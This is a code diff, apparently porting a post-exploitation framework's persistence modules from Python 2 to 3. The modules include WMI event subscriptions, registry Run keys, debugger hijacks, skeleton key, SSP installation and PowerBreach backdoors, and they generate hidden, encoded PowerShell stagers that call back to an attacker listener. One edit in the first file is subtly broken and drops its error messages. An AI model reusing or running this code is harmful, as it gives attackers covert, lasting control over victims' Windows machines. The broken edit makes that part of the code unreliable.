3336 # format:
3437 # value_name : {description, required, default_value}
35 'Agent' : {
36 'Description' : 'Agent to run module on.',
37 'Required' : True,
38 'Value' : ''
39 },
40 'Listener' : {
41 'Description' : 'Listener to use.',
42 'Required' : False,
43 'Value' : ''
44 },
45 'DailyTime' : {
46 'Description' : 'Daily time to trigger the script (HH:mm).',
47 'Required' : False,
48 'Value' : ''
49 },
50 'AtStartup' : {
51 'Description' : 'Switch. Trigger script (within 5 minutes) of system startup.',
52 'Required' : False,
53 'Value' : 'True'
54 },
55 'SubName' : {
56 'Description' : 'Name to use for the event subscription.',
57 'Required' : True,
58 'Value' : 'Updater'
59 },
60 'ExtFile' : {
61 'Description' : 'Use an external file for the payload instead of a stager.',
62 'Required' : False,
63 'Value' : ''
64 },
65 'Cleanup' : {
66 'Description' : 'Switch. Cleanup the trigger and any script from specified location.',
67 'Required' : False,
68 'Value' : ''
69 },
70 'UserAgent' : {
71 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
72 'Required' : False,
73 'Value' : 'default'
74 },
75 'Proxy' : {
76 'Description' : 'Proxy to use for request (default, none, or other).',
77 'Required' : False,
78 'Value' : 'default'
79 },
80 'ProxyCreds' : {
81 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
82 'Required' : False,
83 'Value' : 'default'
38 'Agent': {
39 'Description': 'Agent to run module on.',
40 'Required': True,
41 'Value': ''
42 },
43 'Listener': {
44 'Description': 'Listener to use.',
45 'Required': True,
46 'Value': ''
47 },
48 'DailyTime': {
49 'Description': 'Daily time to trigger the script (HH:mm).',
50 'Required': False,
51 'Value': ''
52 },
53 'AtStartup': {
54 'Description': 'Switch. Trigger script (within 5 minutes) of system startup.',
55 'Required': False,
56 'Value': 'True'
57 },
58 'FailedLogon': {
59 'Description': 'Trigger script with a failed logon attempt from a specified user',
60 'Required': False,
61 'Value': ''
62 },
63 'SubName': {
64 'Description': 'Name to use for the event subscription.',
65 'Required': True,
66 'Value': 'Updater'
67 },
68 'ExtFile': {
69 'Description': 'Use an external file for the payload instead of a stager.',
70 'Required': False,
71 'Value': ''
72 },
73 'Cleanup': {
74 'Description': 'Switch. Cleanup the trigger and any script from specified location.',
75 'Required': False,
76 'Value': ''
77 },
78 'UserAgent': {
79 'Description': 'User-agent string to use for the staging request (default, none, or other).',
80 'Required': False,
81 'Value': 'default'
82 },
83 'Proxy': {
84 'Description': 'Proxy to use for request (default, none, or other).',
85 'Required': False,
86 'Value': 'default'
87 },
88 'ProxyCreds': {
89 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
90 'Required': False,
91 'Value': 'default'
8492 }
8593 }
8694
94102 if option in self.options:
95103 self.options[option]['Value'] = value
96104
97
98105 def generate(self, obfuscate=False, obfuscationCommand=""):
99
106
100107 listenerName = self.options['Listener']['Value']
101
108
102109 # trigger options
103110 dailyTime = self.options['DailyTime']['Value']
104111 atStartup = self.options['AtStartup']['Value']
105112 subName = self.options['SubName']['Value']
113 failedLogon = self.options['FailedLogon']['Value']
106114
107115 # management options
108116 extFile = self.options['ExtFile']['Value']
118126
119127 if cleanup.lower() == 'true':
120128 # commands to remove the WMI filter and subscription
121 script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;"
122 script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;"
123 script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;"
129 script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='" + subName + "'\"| Remove-WmiObject;"
130 script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='" + subName + "'\" | Remove-WmiObject;"
131 script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '" + subName + "'} | Remove-WmiObject;"
124132 script += "'WMI persistence removed.'"
125133 if obfuscate:
126 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
134 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script,
135 obfuscationCommand=obfuscationCommand)
127136 return script
128137
129138 if extFile != '':
130 # read in an external file as the payload and build a
139 # read in an external file as the payload and build a
131140 # base64 encoded version as encScript
132141 if os.path.exists(extFile):
133142 f = open(extFile, 'r')
139148 statusMsg += "using external file " + extFile
140149
141150 else:
142 print helpers.color("[!] File does not exist: " + extFile)
151 print()
152 helpers.color("[!] File does not exist: " + extFile)
143153 return ""
144154
145155 else:
146156 if listenerName == "":
147 print helpers.color("[!] Either an ExtFile or a Listener must be specified")
157 print()
158 helpers.color("[!] Either an ExtFile or a Listener must be specified")
148159 return ""
149160
150161 # if an external file isn't specified, use a listener
151162 elif not self.mainMenu.listeners.is_listener_valid(listenerName):
152163 # not a valid listener, return nothing for the script
153 print helpers.color("[!] Invalid listener: " + listenerName)
164 print()
165 helpers.color("[!] Invalid listener: " + listenerName)
154166 return ""
155167
156168 else:
157169 # generate the PowerShell one-liner with all of the proper options set
158 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
159
170 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True,
171 userAgent=userAgent, proxy=proxy,
172 proxyCreds=proxyCreds)
173
160174 encScript = launcher.split(" ")[-1]
161175 statusMsg += "using listener " + listenerName
162176
163177 # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
164178 if len(encScript) > 8190:
165 print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.")
179 print()
180 helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.")
166181 return ""
167182
168183 # built the command that will be triggered
169184 triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript
170
171 if dailyTime != '':
172
185
186 if failedLogon != '':
187
188 # Enable failed logon auditing
189 script = "auditpol /set /subcategory:Logon /failure:enable;"
190
191 # create WMI event filter for failed logon
192 script += "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{Name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.EventCode='4625' AND TargetInstance.Message LIKE '%" + failedLogon + "%'\"}; "
193 statusMsg += " with trigger upon failed logon by " + failedLogon
194
195 elif dailyTime != '':
196
173197 parts = dailyTime.split(":")
174
198
175199 if len(parts) < 2:
176 print helpers.color("[!] Please use HH:mm format for DailyTime")
200 print()
201 helpers.color("[!] Please use HH:mm format for DailyTime")
177202 return ""
178203
179204 hour = parts[0]
180205 minutes = parts[1]
181206
182207 # create the WMI event filter for a system time
183 script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};"
208 script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = " + hour + " AND TargetInstance.Minute= " + minutes + " GROUP WITHIN 60\"};"
184209 statusMsg += " WMI subscription daily trigger at " + dailyTime + "."
185210
186211 else:
187212 # create the WMI event filter for OnStartup
188 script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
213 script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" + subName + "';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
189214 statusMsg += " with OnStartup WMI subsubscription trigger."
190215
191
192216 # add in the event consumer to launch the encrypted script contents
193 script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};"
217 script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='" + subName + "';CommandLineTemplate=\"" + triggerCmd + "\";RunInteractively='false'};"
194218
195219 # bind the filter and event consumer together
196 script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"
197
198
199 script += "'WMI persistence established "+statusMsg+"'"
220 script += " Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"
221
222 script += "'WMI persistence established " + statusMsg + "'"
200223 if obfuscate:
201 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
202 return script
224 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script,
225 obfuscationCommand=obfuscationCommand)
226
227 return script⏎
+6
-4
lib/modules/powershell/persistence/elevated/wmi_updater.py less more
0 from __future__ import print_function
1 from builtins import object
02 import os
13 from lib.common import helpers
24
3 class Module:
5 class Module(object):
46
57 def __init__(self, mainMenu, params=[]):
68
149151 statusMsg += "using external file " + extFile
150152
151153 else:
152 print helpers.color("[!] File does not exist: " + extFile)
154 print(helpers.color("[!] File does not exist: " + extFile))
153155 return ""
154156
155157 else:
161163
162164 # sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
163165 if len(encScript) > 8190:
164 print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.")
166 print(helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters."))
165167 return ""
166168
167169 # built the command that will be triggered
172174 parts = dailyTime.split(":")
173175
174176 if len(parts) < 2:
175 print helpers.color("[!] Please use HH:mm format for DailyTime")
177 print(helpers.color("[!] Please use HH:mm format for DailyTime"))
176178 return ""
177179
178180 hour = parts[0]
+6
-3
lib/modules/powershell/persistence/misc/add_netuser.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8487 try:
8588 f = open(moduleSource, 'r')
8689 except:
87 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
90 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8891 return ""
8992
9093 moduleCode = f.read()
9598
9699 script += moduleName + " "
97100
98 for option,values in self.options.iteritems():
101 for option,values in self.options.items():
99102 if option.lower() != "agent":
100103 if values['Value'] and values['Value'] != '':
101104 if values['Value'].lower() == "true":
+5
-2
lib/modules/powershell/persistence/misc/add_sid_history.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7275 try:
7376 f = open(moduleSource, 'r')
7477 except:
75 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
78 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7679 return ""
7780
7881 moduleCode = f.read()
+7
-7
lib/modules/powershell/persistence/misc/debugger.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
4952 'RegPath' : {
5053 'Description' : 'Registry location to store the script code. Last element is the key name.',
5154 'Required' : False,
52 'Value' : 'HKLM:Software\Microsoft\Network\debug'
55 'Value' : r'HKLM:Software\Microsoft\Network\debug'
5356 },
5457 'Cleanup' : {
5558 'Description' : 'Switch. Disable the Utilman.exe debugger.',
5962 'TriggerBinary' : {
6063 'Description' : 'Binary to set for the debugger.',
6164 'Required' : False,
62 'Value' : 'C:\Windows\System32\cmd.exe'
65 'Value' : r'C:\Windows\System32\cmd.exe'
6366 }
6467 }
6568
7275 option, value = param
7376 if option in self.options:
7477 self.options[option]['Value'] = value
75
7678
7779 def generate(self, obfuscate=False, obfuscationCommand=""):
7880
8890 statusMsg = ""
8991 locationString = ""
9092
91
9293 if cleanup.lower() == 'true':
9394 # the registry command to disable the debugger for Utilman.exe
9495 script = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s';'%s debugger removed.'" %(targetBinary, targetBinary)
9697 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
9798 return script
9899
99
100100 if listenerName != '':
101101 # if there's a listener specified, generate a stager and store it
102102
103103 if not self.mainMenu.listeners.is_listener_valid(listenerName):
104104 # not a valid listener, return nothing for the script
105 print helpers.color("[!] Invalid listener: " + listenerName)
105 print(helpers.color("[!] Invalid listener: " + listenerName))
106106 return ""
107107
108108 else:
+36
-33
lib/modules/powershell/persistence/misc/disable_machine_acct_change.py less more
0 from builtins import object
01 from lib.common import helpers
12
2 class Module:
33
4 class Module(object):
5
46 def __init__(self, mainMenu, params=[]):
5
7
68 self.info = {
79 'Name': 'Invoke-DisableMachineAcctChange',
8
10
911 'Author': ['@harmj0y'],
10
12
1113 'Description': ('Disables the machine account for the target system '
1214 'from changing its password automatically.'),
13
14 'Background' : False,
15
16 'OutputExtension' : None,
1715
18 'NeedsAdmin' : True,
19
20 'OpsecSafe' : True,
16 'Background': False,
2117
22 'Language' : 'powershell',
23
24 'MinLanguageVersion' : '2',
18 'OutputExtension': None,
19
20 'NeedsAdmin': True,
21
22 'OpsecSafe': True,
23
24 'Language': 'powershell',
25
26 'MinLanguageVersion': '2',
2527
2628 'Comments': []
2729 }
28
30
2931 # any options needed by the module, settable during runtime
3032 self.options = {
3133 # format:
3234 # value_name : {description, required, default_value}
33 'Agent' : {
34 'Description' : 'Agent to run module on.',
35 'Required' : True,
36 'Value' : ''
35 'Agent': {
36 'Description': 'Agent to run module on.',
37 'Required': True,
38 'Value': ''
3739 },
38 'CleanUp' : {
39 'Description' : 'Switch. Re-enable machine password changes.',
40 'Required' : False,
41 'Value' : ''
40 'CleanUp': {
41 'Description': 'Switch. Re-enable machine password changes.',
42 'Required': False,
43 'Value': ''
4244 }
4345 }
44
46
4547 # save off a copy of the mainMenu object to access external functionality
4648 # like listeners/agent handlers/etc.
4749 self.mainMenu = mainMenu
48
50
4951 for param in params:
5052 # parameter format is [Name, Value]
5153 option, value = param
5254 if option in self.options:
5355 self.options[option]['Value'] = value
54
55
56
5657 def generate(self, obfuscate=False, obfuscationCommand=""):
57
58
5859 cleanup = self.options['CleanUp']['Value']
59
60
6061 if cleanup.lower() == 'true':
61 script = "$null=Set-ItemProperty -Force -Path HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters -Name DisablePasswordChange -Value 0; 'Machine account password change re-enabled.'"
62 script = r"$null=Set-ItemProperty -Force -Path HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters -Name DisablePasswordChange -Value 0; 'Machine account password change re-enabled.'"
6263 if obfuscate:
63 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
64 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script,
65 obfuscationCommand=obfuscationCommand)
6466 return script
6567
66 script = "$null=Set-ItemProperty -Force -Path HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters -Name DisablePasswordChange -Value 1; 'Machine account password change disabled.'"
68 script = r"$null=Set-ItemProperty -Force -Path HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters -Name DisablePasswordChange -Value 1; 'Machine account password change disabled.'"
6769 if obfuscate:
68 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
70 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script,
71 obfuscationCommand=obfuscationCommand)
6972 return script
+4
-2
lib/modules/powershell/persistence/misc/get_ssps.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
185187 }
186188 } Get-SecurityPackages"""
187189
188 for option,values in self.options.iteritems():
190 for option,values in self.options.items():
189191 if option.lower() != "agent":
190192 if values['Value'] and values['Value'] != '':
191193 script += " -" + str(option) + " " + str(values['Value'])
+4
-2
lib/modules/powershell/persistence/misc/install_ssp.py less more
0 from builtins import str
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
258260 }
259261 } Install-SSP"""
260262
261 for option,values in self.options.iteritems():
263 for option,values in self.options.items():
262264 if option.lower() != "agent":
263265 if values['Value'] and values['Value'] != '':
264266 script += " -" + str(option) + " " + str(values['Value'])
+5
-2
lib/modules/powershell/persistence/misc/memssp.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6265 try:
6366 f = open(moduleSource, 'r')
6467 except:
65 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
68 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6669 return ""
6770
6871 moduleCode = f.read()
+5
-2
lib/modules/powershell/persistence/misc/skeleton_key.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6265 try:
6366 f = open(moduleSource, 'r')
6467 except:
65 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
68 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6669 return ""
6770
6871 moduleCode = f.read()
+7
-4
lib/modules/powershell/persistence/powerbreach/deaduser.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import os
14 from lib.common import helpers
25
3 class Module:
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
143146
144147 if not self.mainMenu.listeners.is_listener_valid(listenerName):
145148 # not a valid listener, return nothing for the script
146 print helpers.color("[!] Invalid listener: " + listenerName)
149 print(helpers.color("[!] Invalid listener: " + listenerName))
147150 return ""
148151
149152 else:
161164 script = script.replace("REPLACE_LAUNCHER", stagerCode)
162165 script = script.encode('ascii', 'ignore')
163166
164 for option,values in self.options.iteritems():
167 for option,values in self.options.items():
165168 if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile":
166169 if values['Value'] and values['Value'] != '':
167170 if values['Value'].lower() == "true":
180183 f.write(script)
181184 f.close()
182185
183 print helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile)
186 print(helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile))
184187 return ""
185188
186189 if obfuscate:
+8
-5
lib/modules/powershell/persistence/powerbreach/eventlog.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import os
14 from lib.common import helpers
25 import pdb
36
4 class Module:
7 class Module(object):
58
69 def __init__(self, mainMenu, params=[]):
710
118121
119122 if not self.mainMenu.listeners.is_listener_valid(listenerName):
120123 # not a valid listener, return nothing for the script
121 print helpers.color("[!] Invalid listener: " + listenerName)
124 print(helpers.color("[!] Invalid listener: " + listenerName))
122125 return ""
123126
124127 else:
136139 script = script.replace("REPLACE_LAUNCHER", stagerCode)
137140 script = script.encode('ascii', 'ignore')
138141
139 for option,values in self.options.iteritems():
142 for option,values in self.options.items():
140143 if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile":
141144 if values['Value'] and values['Value'] != '':
142145 if values['Value'].lower() == "true":
155158 f.write(script)
156159 f.close()
157160
158 print helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile)
161 print(helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile))
159162 return ""
160163
161164 if obfuscate:
172175 if obfuscate:
173176 scriptLauncher = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptLauncher, obfuscationCommand=obfuscationCommand)
174177
175 print scriptLauncher
178 print(scriptLauncher)
176179
177180 return scriptLauncher
+7
-4
lib/modules/powershell/persistence/powerbreach/resolver.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 import os
14 from lib.common import helpers
25
3 class Module:
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
130133
131134 if not self.mainMenu.listeners.is_listener_valid(listenerName):
132135 # not a valid listener, return nothing for the script
133 print helpers.color("[!] Invalid listener: " + listenerName)
136 print(helpers.color("[!] Invalid listener: " + listenerName))
134137 return ""
135138
136139 else:
148151 script = script.replace("REPLACE_LAUNCHER", stagerCode)
149152 script = script.encode('ascii', 'ignore')
150153
151 for option,values in self.options.iteritems():
154 for option,values in self.options.items():
152155 if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "outfile":
153156 if values['Value'] and values['Value'] != '':
154157 if values['Value'].lower() == "true":
167170 f.write(script)
168171 f.close()
169172
170 print helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile)
173 print(helpers.color("[+] PowerBreach deaduser backdoor written to " + outFile))
171174 return ""
172175
173176 if obfuscate:
+8
-5
lib/modules/powershell/persistence/userland/backdoor_lnk.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
113116
114117 if not self.mainMenu.listeners.is_listener_valid(listenerName):
115118 # not a valid listener, return nothing for the script
116 print helpers.color("[!] Invalid listener: " + listenerName)
119 print(helpers.color("[!] Invalid listener: " + listenerName))
117120 return ""
118121
119122 else:
130133 try:
131134 f = open(moduleSource, 'r')
132135 except:
133 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
136 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
134137 return ""
135138
136139 script = f.read()
158161 statusMsg += "using external file " + extFile
159162
160163 else:
161 print helpers.color("[!] File does not exist: " + extFile)
164 print(helpers.color("[!] File does not exist: " + extFile))
162165 return ""
163166
164167 else:
165168 # if an external file isn't specified, use a listener
166169 if not self.mainMenu.listeners.is_listener_valid(listenerName):
167170 # not a valid listener, return nothing for the script
168 print helpers.color("[!] Invalid listener: " + listenerName)
171 print(helpers.color("[!] Invalid listener: " + listenerName))
169172 return ""
170173
171174 else:
+131
-127
lib/modules/powershell/persistence/userland/registry.py less more
0 from __future__ import print_function
1 from builtins import object
02 import os
13 from lib.common import helpers
24
3 class Module:
45
6 class Module(object):
7
58 def __init__(self, mainMenu, params=[]):
6
9
710 self.info = {
811 'Name': 'Invoke-Registry',
9
12
1013 'Author': ['@mattifestation', '@harmj0y', '@enigma0x3'],
11
14
1215 'Description': ('Persist a stager (or script) via the HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run '
1316 'registry key. This has an easy detection/removal rating.'),
14
15 'Background' : False,
16
17 'OutputExtension' : None,
18
19 'NeedsAdmin' : False,
20
21 'OpsecSafe' : False,
22
23 'Language' : 'powershell',
24
25 'MinLanguageVersion' : '2',
17
18 'Background': False,
19
20 'OutputExtension': None,
21
22 'NeedsAdmin': False,
23
24 'OpsecSafe': False,
25
26 'Language': 'powershell',
27
28 'MinLanguageVersion': '2',
2629
2730 'Comments': [
2831 'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1'
2932 ]
3033 }
31
34
3235 # any options needed by the module, settable during runtime
3336 self.options = {
3437 # format:
3538 # value_name : {description, required, default_value}
36 'Agent' : {
37 'Description' : 'Agent to run module on.',
38 'Required' : True,
39 'Value' : ''
40 },
41 'Listener' : {
42 'Description' : 'Listener to use.',
43 'Required' : True,
44 'Value' : ''
45 },
46 'KeyName' : {
47 'Description' : 'Key name for the run trigger.',
48 'Required' : True,
49 'Value' : 'Updater'
50 },
51 'RegPath' : {
52 'Description' : 'Registry location to store the script code. Last element is the key name.',
53 'Required' : False,
54 'Value' : 'HKCU:Software\Microsoft\Windows\CurrentVersion\Debug'
55 },
56 'ADSPath' : {
57 'Description' : 'Alternate-data-stream location to store the script code.',
58 'Required' : False,
59 'Value' : ''
60 },
61 'EventLogID' : {
62 'Description' : 'Store the script in the Application event log under the specified EventID. The ID needs to be unique/rare!',
63 'Required' : False,
64 'Value' : ''
65 },
66 'ExtFile' : {
67 'Description' : 'Use an external file for the payload instead of a stager.',
68 'Required' : False,
69 'Value' : ''
70 },
71 'Cleanup' : {
72 'Description' : 'Switch. Cleanup the trigger and any script from specified location.',
73 'Required' : False,
74 'Value' : ''
75 },
76 'UserAgent' : {
77 'Description' : 'User-agent string to use for the staging request (default, none, or other).',
78 'Required' : False,
79 'Value' : 'default'
80 },
81 'Proxy' : {
82 'Description' : 'Proxy to use for request (default, none, or other).',
83 'Required' : False,
84 'Value' : 'default'
85 },
86 'ProxyCreds' : {
87 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
88 'Required' : False,
89 'Value' : 'default'
39 'Agent': {
40 'Description': 'Agent to run module on.',
41 'Required': True,
42 'Value': ''
43 },
44 'Listener': {
45 'Description': 'Listener to use.',
46 'Required': True,
47 'Value': ''
48 },
49 'KeyName': {
50 'Description': 'Key name for the run trigger.',
51 'Required': True,
52 'Value': 'Updater'
53 },
54 'RegPath': {
55 'Description': 'Registry location to store the script code. Last element is the key name.',
56 'Required': False,
57 'Value': 'HKCU:Software\Microsoft\Windows\CurrentVersion\Debug'
58 },
59 'ADSPath': {
60 'Description': 'Alternate-data-stream location to store the script code.',
61 'Required': False,
62 'Value': ''
63 },
64 'EventLogID': {
65 'Description': 'Store the script in the Application event log under the specified EventID. The ID needs to be unique/rare!',
66 'Required': False,
67 'Value': ''
68 },
69 'ExtFile': {
70 'Description': 'Use an external file for the payload instead of a stager.',
71 'Required': False,
72 'Value': ''
73 },
74 'Cleanup': {
75 'Description': 'Switch. Cleanup the trigger and any script from specified location.',
76 'Required': False,
77 'Value': ''
78 },
79 'UserAgent': {
80 'Description': 'User-agent string to use for the staging request (default, none, or other).',
81 'Required': False,
82 'Value': 'default'
83 },
84 'Proxy': {
85 'Description': 'Proxy to use for request (default, none, or other).',
86 'Required': False,
87 'Value': 'default'
88 },
89 'ProxyCreds': {
90 'Description': 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
91 'Required': False,
92 'Value': 'default'
9093 }
9194 }
92
95
9396 # save off a copy of the mainMenu object to access external functionality
9497 # like listeners/agent handlers/etc.
9598 self.mainMenu = mainMenu
96
99
97100 for param in params:
98101 # parameter format is [Name, Value]
99102 option, value = param
100103 if option in self.options:
101104 self.options[option]['Value'] = value
102
103
105
104106 def generate(self, obfuscate=False, obfuscationCommand=""):
105107
106108 listenerName = self.options['Listener']['Value']
107
109
108110 # trigger options
109111 keyName = self.options['KeyName']['Value']
110
112
111113 # storage options
112114 regPath = self.options['RegPath']['Value']
113115 adsPath = self.options['ADSPath']['Value']
114116 eventLogID = self.options['EventLogID']['Value']
115
117
116118 # management options
117119 extFile = self.options['ExtFile']['Value']
118120 cleanup = self.options['Cleanup']['Value']
119
121
120122 # staging options
121123 userAgent = self.options['UserAgent']['Value']
122124 proxy = self.options['Proxy']['Value']
123125 proxyCreds = self.options['ProxyCreds']['Value']
124
126
125127 statusMsg = ""
126128 locationString = ""
127
129
128130 # for cleanup, remove any script from the specified storage location
129131 # and remove the specified trigger
130132 if cleanup.lower() == 'true':
131133 if adsPath != '':
132134 if ".txt" not in adsPath:
133 print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
135 print(helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"))
134136 return ""
135
136 script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > "+adsPath+"\"};"
137
138 script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > " + adsPath + "\"};"
137139 else:
138 #remove the script stored in the registry at the specified reg path
140 # remove the script stored in the registry at the specified reg path
139141 path = "\\".join(regPath.split("\\")[0:-1])
140142 name = regPath.split("\\")[-1]
141
142 script = "$RegPath = '"+regPath+"';"
143
144 script = "$RegPath = '" + regPath + "';"
143145 script += "$parts = $RegPath.split('\\');"
144146 script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
145147 script += "$name = $parts[-1];"
146148 script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;"
147
148 script += "Remove-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+";"
149
150 script += "Remove-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + keyName + ";"
149151 script += "'Registry Persistence removed.'"
150152 if obfuscate:
151 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
153 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script,
154 obfuscationCommand=obfuscationCommand)
152155 return script
153
156
154157 if extFile != '':
155 # read in an external file as the payload and build a
158 # read in an external file as the payload and build a
156159 # base64 encoded version as encScript
